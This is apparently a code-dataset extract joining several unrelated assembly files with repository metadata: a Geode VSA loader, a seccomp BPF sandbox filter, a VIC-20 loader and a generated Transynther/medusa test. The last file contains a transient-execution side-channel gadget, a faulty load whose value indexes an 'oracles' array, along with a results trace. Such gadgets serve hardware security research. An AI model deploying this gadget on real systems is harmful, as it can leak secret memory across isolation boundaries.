ebx mov [VSA_End], eax call Enable_SMM_Instr ; Enable SMM instructions rsdc es, [Flat_Descriptor] ; Setup ES as a 4 GB flat descriptor call Disable_A20 ; Turn off A20 masking call Get_Memory_Size ; Get physical memory size mov [TotalMemory], eax call Clear_SMIs ; Clear all pending SMIs SetupExit: mov [SetupComplete], 0FFh clc ret ASSUME DS: NOTHING Setup endp ;***************************************************************************** ; ; Loads the VSA II image into memory ; NOTE: The System Manager must be the first module of the VSA image. ; ;***************************************************************************** ProcessModules proc ; Point DS:ESI to loaded VSA image lea bx, [VSA_Image] ; Point DS to start of file image movzx esi, bx and si, 000Fh shr bx, 4 mov ax, cs add ax, bx mov ds, ax ; Point EDI to where System Manager will be loaded mov edi, cs:[ModuleBase] ; Get last ptr value call AlignVSM mov cs:[SysMgrEntry], edi ; Record entry point of System Manager ; Ensure the System Manager is the first module unless loading from DOS mov ax, ERR_NO_SYS_MGR cmp (VSM_Header PTR [si]).Signature, VSM_SIGNATURE jne ErrExit cmp (VSM_Header PTR [si]).VSM_Type, VSM_SYS_MGR je LoadSysMgr LoadSysMgr: POST VSA_SYSMGR call PatchSysMgr ; Apply patches to the System Manager ; EDI = flat ptr of System Manager base ; DS:SI = near ptr to System Manager image call CopyModule ; Install System Manager jc ErrExit ; Sequence through each VSM and install it. VSM_Loop: mov eax, VSM_SIGNATURE ; Check for a VSM signature cmp eax, (VSM_Header PTR [si]).Signature jne short Return call Load_VSM ; Load the VSM jnc VSM_Loop ErrExit:or cs:[Errors], ax Return: ret ProcessModules endp ;***************************************************************************** ; Copies INT vector table to VSA. If installing VSA from DOS, copies the ; INT_Vector[] from current System Manager to the VSA image being installed. ;***************************************************************************** SnagInterruptVectors proc Exit: ret SnagInterruptVectors endp ;******************************************************************* ; ; Aligns a VSM ptr according to requirements flag ; Input: ; EDI = ptr to be aligned ; Output: ; EDI = aligned ptr ; ;******************************************************************* AlignVSM proc uses eax mov cx, cs:[Requirments] ; Compute alignment and cl, MASK Alignment@@tag_i0 ; Compute mask from 2^(n+4) add cl, 4 xor eax, eax mov al, 1 shl eax, cl dec eax add edi, eax ; Align the next VSM load address not eax ; to requested boundary and edi, eax ret AlignVSM endp ;******************************************************************* ; Patches various fields within System Manager ; INPUT: ; SI = ptr to System Manager ; EDI = ptr to where System Manager will reside ;******************************************************************* PatchSysMgr proc pushad ; ; Patch "jmp <EntryPoint>" over System Manager's VSM signature ; mov ax, (VSM_Header PTR [si]).EntryPoint sub ax, 3 shl eax, 8 mov al, 0E9h ; JMP opcode mov (VSM_Header PTR [si]).Signature, eax ; ; Patch SysMgr's Hardware structure ; lea bx, [si+SPECIAL_LOC] mov bx, (InfoStuff PTR [bx]).HardwareInfo ASSUME BX: PTR Hardware mov ax, cs:[Device_ID] mov [bx].Chipset_ID, ax mov ax, cs:[PCI_MHz] mov [bx].PCI_MHz, ax movzx ax, cs:[Chipset_Rev] mov [bx].Chipset_Rev, ax mov eax, cs:[Chipset_Base] mov [bx].Chipset_Base, eax mov ax, cs:[Cpu_ID] mov [bx].CPU_ID, ax mov ax, cs:[Cpu_Revision] mov [bx].CPU_Revision, ax mov ax, cs:[CPU_MHz] mov [bx].CPU_MHz, ax mov ax, cs:[DRAM_MHz] mov [bx].DRAM_MHz, ax mov eax, cs:[TotalMemory] mov [bx].SystemMemory, eax mov eax, cs:[SysMgr_Location] mov [bx].VSA_Location, eax mov [si].SysStuff.SysMgr_Ptr, eax mov ax, cs:[VSA_Size] mov [bx].VSA_Size, ax ASSUME BX:NOTHING ; ; Patch SysMgr's descriptors ; mov eax, (VSM_Header PTR [si]).DS_Limit mov [SysMgrSize], ax lea bx, (VSM_Header PTR [si])._DS call Init_Descr mov eax, SYSMGRS_STACK + VSM_STACK_FRAME lea bx, (VSM_Header PTR [si])._SS call Init_Descr ; ; Initialize the SysMgr's message queue ; call Init_Msg_Q ; ; Patch variables in SysMgr ; mov eax, cs:[Chipset_Base] mov [si].SysStuff.Southbridge, eax mov bx, si add si, SPECIAL_LOC ASSUME SI: PTR InfoStuff movzx eax, [si].SysMgr_Stack mov (VSM_Header PTR [bx]).SysStuff.SavedESP, eax mov [si].SysMgr_VSM, edi lea eax, (VSM_Header PTR [edi]).SysStuff.State + sizeof(SmiHeader) add bx, [si].Header_Addr mov [bx], eax call Get_SMI_Base mov [si].SMI_Base, eax call Get_IRQ_Base mov [si].IRQ_Base, eax Exit: call SnagInterruptVectors ; Snapshot INT vectors from current VSA popad ret PatchSysMgr endp ;******************************************************************* ; ; Loads a VSM into memory ; Input: ; DS:SI = ptr to VSM to load ; ;******************************************************************* Load_VSM proc POST VSA_VSM_FOUND ; Initialize the VSM's Header ASSUME si:PTR VSM_Header mov ax, [si].Flag mov cs:[Requirments], ax test ax, MASK SkipMe@@tag_i0 jz LoadIt Skip_VSM: add esi, [si].VSM_Length ; Point to end of this VSM call Flat_ESI jmp Next_VSM LoadIt: ; Initialize CPU dependent fields in the VSM's SMM header call Set_CPU_Fields ; Initialize EIP to VSM's entry point movzx ecx, [si].EntryPoint mov [si].SysStuff.State.Next_EIP, ecx or [si].SysStuff.State.SMI_Flags, VSM_FLAGS ; Store ptrs to certain System Manager structures for fast access mov eax, cs:[SysMgrEntry] add eax, SPECIAL_LOC mov [si].SysStuff.SysMgr_Ptr, eax mov eax, cs:[Chipset_Base] mov al, SW_SMI mov [si].SysStuff.Southbridge, eax ; Initialize the VSM's resume header ; Get size of DS segment mov eax, [si].DS_Limit ; _DS.limit_15_0 inc eax ; Round to WORD boundary and al, NOT 1 mov ecx, eax ; Initialize the CS descriptor fields ; NOTE: CS descriptor fields in SMM header are in "linear" format. mov [si].SysStuff.State._CS.limit, ecx mov [si].SysStuff.State._CS.attr, CODE_ATTR mov [si].SysStuff.State.EFLAGS, VSM_EFLAGS mov ecx, CR0 ; Preserve the CD & NW bit and ecx, 60000000h or ecx, VSM_CR0 mov [si].SysStuff.State.r_CR0, ecx mov [si].SysStuff.State.r_DR7, VSM_DR7 ; Determine size of VSM's stack movzx ecx, [si]._SS.limit_15_0 ; Get SS limit or cx, cx ; Did VSM specify a stack size ? jnz CheckMemSize mov cx, VSM_STACK_SIZE ; No, use default stack size ;******************************************************************* ; SI = ptr to VSM image to be loaded ; EAX = DS limit ; ECX = stack size ;******************************************************************* CheckMemSize: add eax, ecx ; Compute descriptor limits add ax, 15 ; Round up to next paragraph and al, NOT 15 mov [si].DS_Limit,eax ; Update for use by BIOS scan lea ebx, [edi+eax] ; If not enough memory, skip this VSM cmp ebx, [VSA_End] jae Skip_VSM call AlignVSM mov cs:[ModuleBase], edi ; Save the VSM module pointer in EDI ;******************************************************************* ; ; Initialize VSM's descriptors ; ; SI = ptr to VSM image to be loaded ; EAX = DS limit ; EDI = Runtime address for this VSM ; ;******************************************************************* ; Set VSM's CS selector to <load address> & 0xFFFFF mov ecx, edi and ecx, 000FFFFFh shr ecx, 4 mov [si].SysStuff.State._CS.selector, cx mov [si].SysStuff.State._CS.base, edi ; Initialize the VSM's stack ptr mov ebx, eax and bl, 0FCh ; Round DOWN to nearest DWORD sub bx, VSM_STACK_FRAME mov [si].SysStuff.SavedESP, ebx lea bx, [si]._DS ; Init DS call Init_Descr lea bx, [si]._ES ; Init ES call Init_Descr lea bx, [si]._SS ; Init SS call Init_Descr ; Initialize the VSM's message queue call Init_Msg_Q ; Update the doubly linked list of VSMs mov ebx, edi xchg ebx, cs:[Blink] or ebx, ebx ; 1st VSM other than System Manager ? jnz SetFlink ; Store ptr to 1st VSM in the System Manager mov eax, cs:[SysMgrEntry] mov es:(VSM_Header PTR [eax]).SysStuff.Flink, edi jmp Setlinks ; EBX points to previous VSM SetFlink: mov (VSM_Header PTR es:[ebx]).SysStuff.Flink, edi Setlinks: mov [si].SysStuff.Blink, ebx mov eax, cs:[Flink] mov [si].SysStuff.Flink, eax call CopyModule ret Load_VSM endp END_MSG_QUEUE equ (MAX_MSG_CNT)*sizeof(Message) Init_Msg_Q proc mov bx, offset VSM_Header.SysStuff.MsgQueue mov [si].SysStuff.Qhead, bx ; Store queue head ptr mov [si].SysStuff.Qtail, bx ; Store queue tail ptr add bx, END_MSG_QUEUE ; End of queue mov [si].SysStuff.EndMsgQ, bx ret Init_Msg_Q endp ;******************************************************************* ; ; Initializes a descriptor ; On entry: ; BX = ptr to descriptor ; EAX = limit ; EDI = base ; ;******************************************************************* Init_Descr proc ASSUME bx: PTR Descriptor push eax push edi mov [bx].limit_15_0, ax ; limit shr eax, 16 mov [bx].limit_19_16, al mov [bx].base_15_0, di ; base[15:00] shr edi, 16 mov ax, di mov [bx].base_23_16, al ; base[31:16] mov [bx].base_31_24, ah mov [bx].attr, DATA_ATTR ; attribute pop edi pop eax ret ASSUME bx: NOTHING Init_Descr endp ;******************************************************************* ; ; Copies a module to its runtime location. ; On Entry: ; DS:SI - ptr to source ; ES:EDI - ptr to destination ; On Exit: ; CF - set if error. AX = error code ;******************************************************************* CopyModule proc ; Get length of segment & compute size of BSS mov ecx, [si].VSM_Length movzx edx, [si]._DS.limit_15_0 sub edx, ecx call Flat_ESI ; ; Copy the VSM image to its runtime location ; if VERIFY_VSM_COPY push ecx ; Save byte count & ptrs push esi push edi endif POST VSA_COPY_START ; 14h mov ah, cl shr ecx, 2 ; Convert BYTE count to DWORD count cld rep movsd [edi], es:[esi] and ah, 3 ; Copy remaining bytes mov cl, ah rep movsb [edi], es:[esi] POST VSA_COPY_END ; 15h if VERIFY_VSM_COPY pop edi ; Restore original ptrs and byte count pop esi pop ecx ; ; Verify the VSM image copy ; mov ebx, edi ; Save ptr to start of VSM shr ecx, 2 ; Convert byte count to dword count POST VSA_VRFY_START ; 1Ch repe cmpsd es:[esi], [edi] jne VerifyError mov cl, ah ; Compare leftover byte(s) repe cmpsb es:[esi], [edi] je Verify_Passed VerifyError: mov ax, ERR_VERIFY stc jmp Exit Verify_Passed: POST VSA_VRFY_END ; 1Dh endif ; VERIFY_VSM_COPY POST VSA_FILL_START ; ; Clear the uninitialized data space ; mov ecx, edx ; Fill BSS with zeros shr ecx, 2 xor eax, eax rep stosd [edi] mov cl, dl and cl, 3 je BSS_Cleared rep stosb [edi] BSS_Cleared: POST VSA_FILL_END ; Search the image for the next VSM. ; Some VSMs lie about their size. Search a byte at a time ; for 'VSM ', first backward, then forward. Next_VSM:: mov edx, -1 ; Start search backwards MAX_SEARCH equ 16 Search: mov cx, MAX_SEARCH ; Range in bytes to scan for VSM SearchNext: cmp dword ptr es:[esi], VSM_SIGNATURE je NextVSMfound add esi, edx loop SearchNext add esi, MAX_SEARCH neg edx ; Look the other direction cmp dl, 1 ; Have we already looked in that direction ? je Search jmp OK_Exit ; No more VSMs found NextVSMfound: ; Convert ESI into DS:SI format mov edx, esi shr edx, 4 mov ds, dx and esi, 0000000Fh OK_Exit: clc Exit: ret CopyModule endp ;******************************************************************* ; Converts DS:SI to a flat ptr in ESI. ;******************************************************************* Flat_ESI proc push eax mov ax, ds ; Convert DS:SI to a flat ptr movzx eax, ax shl eax, 4 movzx esi, si add esi, eax pop eax ret Flat_ESI endp BIOS_ECX dd 0 BIOS_EDX dd 0 TotalMemory dd 0 SysMgr_Location dd 0 VSA_End dd 0 Chipset_Base dd 0 SysMgrEntry dd 00000000h ModuleBase dd 00000000h Blink dd 00000000h Flink dd 00000000h InitParam1 dd 0 InitParam2 dd 0 SysMgrSize dw 0 VSA_Size dw 0 Errors dw 0 Device_ID dw 0 Cpu_ID dw 0 Cpu_Revision dw 0 SysCall_Code dw SYS_BIOS_INIT Requirments dw 0 CPU_MHz dw 0 PCI_MHz dw 0 DRAM_MHz dw 0 Chipset_Rev db 0 SetupComplete db 0 LoadFlag db 0 Flat_Descriptor Descriptor {0FFFFh, 0000h, 00h, DATA_ATTR, 8Fh, 00h, 0} Msg_CompareError db "...compare error at 0x$" Msg_Not_DOS_BUILD db CR,LF, "This version of INIT doesn't support DOS install.$" END VSA_Installation
22.275049
81
0.594902
6300ea741f924211df41bd5dd0ad6a5140d368ee
3,879
asm
Assembly
native/standalone/sandbox/seccomp_filter.asm
minad/crts
0986b9f8b9375bd12bbf11de80fc52fdba80f5d4
[ "Apache-2.0" ]
1
2019-04-15T22:45:48.000Z
2019-04-15T22:45:48.000Z
native/standalone/sandbox/seccomp_filter.asm
minad/crts
0986b9f8b9375bd12bbf11de80fc52fdba80f5d4
[ "Apache-2.0" ]
null
null
null
native/standalone/sandbox/seccomp_filter.asm
minad/crts
0986b9f8b9375bd12bbf11de80fc52fdba80f5d4
[ "Apache-2.0" ]
null
null
null
#define KILL #0 #define ALLOW #0x7fff0000 /* struct seccomp_data */ #define nr [0] #define arch [4] #define arg0_lo [16] #define arg0_hi [20] #define arg1_lo [24] #define arg1_hi [28] #define arg2_lo [32] #define arg2_hi [36] #define arg3_lo [40] #define arg3_hi [44] #define arg4_lo [48] #define arg4_hi [52] #define arg5_lo [56] #define arg5_hi [60] /* pread64, pwrite64 and fallocate offsets/sizes */ #define block1_lo arg2_lo #define block1_hi arg2_hi #define block2_lo arg3_lo #define block2_hi arg3_hi #define BLOCK_JMP(i) jeq $BPF_BLOCK_FD(i), block_fd_##i #define BLOCK_SIZE(i) \ block_fd_##i: \ ld $BPF_BLOCK_LO(i) \ st M[2] \ ld $BPF_BLOCK_HI(i) \ st M[3] \ jmp block_check_range #define BLOCK_FOREACH(f) \ f(0) f(1) f(2) f(3) \ f(4) f(5) f(6) f(7) start: ld arch jne $AUDIT_ARCH, kill ld nr jeq $SYS_pread64, block_call jeq $SYS_pwrite64, block_call jeq $SYS_clock_gettime, clock_gettime jeq $SYS_write, write jeq $SYS_read, read jeq $SYS_fallocate, fallocate jeq $SYS_fdatasync, fdatasync jeq $SYS_ppoll, ppoll jeq $SYS_exit_group, allow jmp kill clock_gettime: ld arg0_hi jne #0, kill ld arg0_lo jeq $CLOCK_MONOTONIC, allow jeq $CLOCK_REALTIME, allow, kill ppoll: ld arg3_hi jne #0, kill /* no signals */ ld arg3_lo jne #0, kill /* no signals */ ld arg4_hi jne #0, kill /* no signals */ ld arg4_lo jne #0, kill /* no signals */ ld arg1_hi jne #0, kill /* nfd */ ld arg1_lo jeq $BPF_PPOLL_COUNT, allow, kill /* nfd */ write: ld arg0_hi jne #0, kill ld arg0_lo jge #32, kill tax ld $write_fd_mask rsh %x jset #1, allow, kill read: ld arg0_hi jne #0, kill ld arg0_lo jge #32, kill tax ld $read_fd_mask rsh %x jset #1, allow, kill fdatasync: ld arg0_hi jne #0, kill ld arg0_lo jlt $BPF_BLOCK_MIN, kill jge $BPF_BLOCK_MAX, kill, allow fallocate: ld arg0_hi jne #0, kill ld arg1_lo jne $FALLOC_MODE, kill jmp block_call block_call: /* check block fd */ ld arg0_hi jne #0, kill ld arg0_lo jlt $BPF_BLOCK_MIN, kill jge $BPF_BLOCK_MAX, kill /* check nonnegative, the kernel would also catch that, but we do it earlier */ ld block1_hi and #0x80000000 jne #0, kill ld block2_hi and #0x80000000 jne #0, kill /* check alignment */ ld block1_lo and $BPF_BLOCK_MASK jne #0, kill ld block2_lo and $BPF_BLOCK_MASK jne #0, kill /* M[0] = size_lo + off_lo */ ld block1_lo tax ld block2_lo add %x st M[0] /* M[1] = size_hi + off_hi */ ld block1_hi tax ld block2_hi add %x st M[1] /* check if low addition overflowed */ ld block2_lo tax ld M[0] jlt %x, block_ovf jmp block_no_ovf /* add carry to M[1] */ block_ovf: ld M[1] add #1 st M[1] block_no_ovf: /* load sizes to M[2] and M[3] */ ld arg0_lo BLOCK_FOREACH(BLOCK_JMP) jmp kill BLOCK_FOREACH(BLOCK_SIZE) block_check_range: /* check size_hi + off_hi <= BLOCK_SIZE_HI */ ld M[1] ldx M[3] jlt %x, allow jgt %x, kill /* check size_lo + off_lo <= BLOCK_SIZE_LO */ ld M[0] ldx M[2] jgt %x, kill, allow kill: ret KILL allow: ret ALLOW
20.967568
87
0.535189
0c6023b65974816dc4ae1cabfcc92ce796100770
147
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/日本_Ver3/asm/zel_char.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/日本_Ver3/asm/zel_char.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/日本_Ver3/asm/zel_char.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: zel_char.asm Type: file Size: 178340 Last-Modified: '2016-05-13T04:36:32Z' SHA-1: 61A784601DB2AAAAEC66114E658A326E64B79B30 Description: null
21
47
0.816327
e00a00c1a752bbb995ab7b5000023930c6232e29
314
asm
Assembly
vic-20/basic-loader.asm
SvenMichaelKlose/bender
7f0ad22ac8464b9f3cdbf72493305aecbf4b8c8a
[ "BSD-2-Clause" ]
2
2016-04-03T06:47:31.000Z
2018-03-02T15:22:35.000Z
vic-20/basic-loader.asm
SvenMichaelKlose/bender
7f0ad22ac8464b9f3cdbf72493305aecbf4b8c8a
[ "BSD-2-Clause" ]
null
null
null
vic-20/basic-loader.asm
SvenMichaelKlose/bender
7f0ad22ac8464b9f3cdbf72493305aecbf4b8c8a
[ "BSD-2-Clause" ]
null
null
null
org @(- (basic-start-address *model*) 2) load_address: @(low (basic-start-address *model*)) @(high (basic-start-address *model*)) @(unless (first-pass?) (low basic_end)) @(unless (first-pass?) (high basic_end)) $01 $00 $9e @(unless (first-pass?) (princ main nil)) 0 basic_end: $00 $00
28.545455
58
0.60828
0236e7794b108b49274f8464311dcec4a4e8b8c7
9,723
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_355.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_355.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_355.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %r15 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x20fb, %rsi lea addresses_WT_ht+0x18ffb, %rdi nop nop nop nop inc %rbp mov $89, %rcx rep movsq nop add %rbx, %rbx lea addresses_D_ht+0x879b, %r15 nop nop nop nop nop sub $25863, %r13 and $0xffffffffffffffc0, %r15 movaps (%r15), %xmm5 vpextrq $0, %xmm5, %rbp nop nop cmp $15728, %rbx lea addresses_WT_ht+0xeb7f, %rsi lea addresses_UC_ht+0xd0fb, %rdi nop nop nop nop nop cmp %r14, %r14 mov $30, %rcx rep movsb nop nop cmp %rbp, %rbp lea addresses_A_ht+0x79fb, %rsi lea addresses_D_ht+0x1b72b, %rdi nop nop nop nop nop xor %rbx, %rbx mov $37, %rcx rep movsq nop nop nop nop add $16131, %rdi lea addresses_UC_ht+0xee3e, %r14 nop sub $55247, %rbp movw $0x6162, (%r14) nop nop nop nop add %rbx, %rbx lea addresses_D_ht+0x135fb, %r15 nop and $9869, %rcx movups (%r15), %xmm4 vpextrq $0, %xmm4, %rsi nop nop and $59796, %rsi lea addresses_normal_ht+0xabcf, %rsi lea addresses_UC_ht+0x81fb, %rdi sub %rbx, %rbx mov $70, %rcx rep movsl nop nop nop nop nop add $46041, %r13 lea addresses_D_ht+0xcf9b, %rbp nop nop nop nop nop cmp %rcx, %rcx movw $0x6162, (%rbp) nop nop nop xor %rbx, %rbx lea addresses_D_ht+0x3423, %rdi add %rcx, %rcx movw $0x6162, (%rdi) nop nop nop nop nop dec %rbx lea addresses_WT_ht+0x1847b, %rbp add $29028, %rsi mov $0x6162636465666768, %r13 movq %r13, (%rbp) nop nop nop nop xor $17839, %r13 lea addresses_normal_ht+0x1dbfb, %rsi lea addresses_WC_ht+0x1b57b, %rdi nop nop nop nop and %r14, %r14 mov $125, %rcx rep movsq nop nop nop nop cmp %rbx, %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r15 pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %r8 push %rax push %rcx push %rdi push %rsi // REPMOV lea addresses_D+0x1666f, %rsi lea addresses_WC+0x148e3, %rdi inc %r8 mov $11, %rcx rep movsq nop nop nop nop nop and %rcx, %rcx // Store lea addresses_D+0x105fb, %rdi nop nop nop nop nop add $37631, %r8 movw $0x5152, (%rdi) nop nop nop sub $41074, %r14 // Store lea addresses_UC+0x1601b, %rcx nop nop cmp %rdi, %rdi movl $0x51525354, (%rcx) nop nop inc %rsi // REPMOV lea addresses_WC+0x11fa3, %rsi lea addresses_PSE+0x16b1b, %rdi nop nop nop nop nop xor $59318, %r8 mov $98, %rcx rep movsb xor $98, %rdi // Store lea addresses_normal+0x113e1, %r14 nop nop nop sub $6366, %rsi movb $0x51, (%r14) cmp %r14, %r14 // Store lea addresses_D+0x36fb, %rcx nop nop nop nop nop xor %rax, %rax movl $0x51525354, (%rcx) nop nop nop nop nop cmp %rax, %rax // Store lea addresses_D+0xc9b, %r15 nop nop nop nop nop cmp %rdi, %rdi mov $0x5152535455565758, %rsi movq %rsi, (%r15) nop nop nop xor $38767, %rdi // REPMOV lea addresses_UC+0x18cfb, %rsi lea addresses_WT+0x150a0, %rdi clflush (%rsi) clflush (%rdi) nop nop and $58183, %r8 mov $29, %rcx rep movsq nop nop cmp %r8, %r8 // Store lea addresses_A+0x1409d, %r14 nop nop nop cmp %r8, %r8 mov $0x5152535455565758, %rdi movq %rdi, (%r14) nop nop sub %r8, %r8 // Store lea addresses_WC+0x44fb, %r8 nop cmp $32861, %rcx mov $0x5152535455565758, %rax movq %rax, %xmm0 vmovups %ymm0, (%r8) nop nop nop nop nop cmp %rsi, %rsi // Load lea addresses_D+0x80f3, %rcx nop add $38757, %rsi mov (%rcx), %r8w sub %rax, %rax // Faulty Load lea addresses_A+0x1fb, %r8 nop nop nop nop nop cmp %rax, %rax mov (%r8), %edi lea oracles, %r15 and $0xff, %rdi shlq $12, %rdi mov (%r15,%rdi,1), %rdi pop %rsi pop %rdi pop %rcx pop %rax pop %r8 pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_PSE', 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': True}} {'35': 21829} 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 